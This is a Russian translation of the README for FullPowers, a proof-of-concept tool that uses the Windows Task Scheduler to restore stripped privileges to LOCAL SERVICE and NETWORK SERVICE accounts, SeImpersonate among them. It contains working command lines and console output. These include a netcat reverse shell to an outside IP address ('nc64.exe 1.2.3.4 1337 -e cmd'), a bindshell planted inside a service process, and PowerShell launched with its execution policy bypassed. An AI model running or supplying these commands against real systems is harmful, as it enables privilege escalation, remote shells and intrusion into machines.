
Восстановить набор привилегий по умолчанию для учетной записи LOCAL/NETWORK SERVICE
FullPowers — это инструмент Proof-of-Concept, созданный мной для автоматического восстановления набора привилегий по умолчанию учётной записи службы, включая SeAssignPrimaryToken и SeImpersonate.
В Windows некоторые службы, выполняемые от имени LOCAL SERVICE или NETWORK SERVICE, настроены на работу с ограниченным набором привилегий. Поэтому, даже если служба скомпрометирована, вы не получите золотых привилегий олицетворения, и повышение привилегий до LOCAL SYSTEM должно быть более сложным. Однако я обнаружил, что при создании запланированной задачи новый процесс, созданный службой планировщика задач, имеет все привилегии по умолчанию соответствующей учётной записи пользователя (кроме SeImpersonate). Таким образом, с помощью некоторых манипуляций с токенами можно породить новый процесс со всеми недостающими привилегиями.
Для получения дополнительной информации: https://itm4n.github.io/localservice-privileges/
⚠️ Этот инструмент должен запускаться только от имени LOCAL SERVICE или NETWORK SERVICE.
Вы можете проверить справку с помощью опции -h.
c:\TOOLS>FullPowers -h
FullPowers v0.1 (by @itm4n)
This tool leverages the Task Scheduler to recover the default privilege set of a service account.
For more information: https://itm4n.github.io/localservice-privileges/
Optional arguments:
-v Verbose mode, used for debugging essentially
-c <CMD> Custom command line to execute (default is 'C:\Windows\System32\cmd.exe')
-x Try to get the extended set of privileges (might fail with NETWORK SERVICE)
-z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:\TOOLS>FullPowers
[+] Successfully created scheduled task. PID=9976
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>
c:\TOOLS>FullPowers -c "powershell -ep Bypass"
[+] Successfully created scheduled task. PID=9028
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\WINDOWS\system32> Get-ExecutionPolicy
Bypass
c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
[+] Successfully created scheduled task. PID=5482
[+] CreateProcessAsUser() OK
Хотите протестировать этот PoC самостоятельно? Отлично! Вот несколько простых инструкций, чтобы начать.
Общая идея состоит в том, чтобы запустить bindshell из процесса существующей службы, подключиться к нему, а затем запустить исполняемый файл.
upnphost.C:\TOOLS>RunFromProcess-x64.exe <PID> C:\TOOLS\nc64.exe -l -p 9001 -e cmd
C:\TOOLS>nc64.exe 127.0.0.1 9001
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ======================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
c:\TOOLS>FullPowers
[+] Started dummy thread with id 5568
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
nt authority\local service
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Теперь у вас должна быть оболочка с привилегиями олицетворения!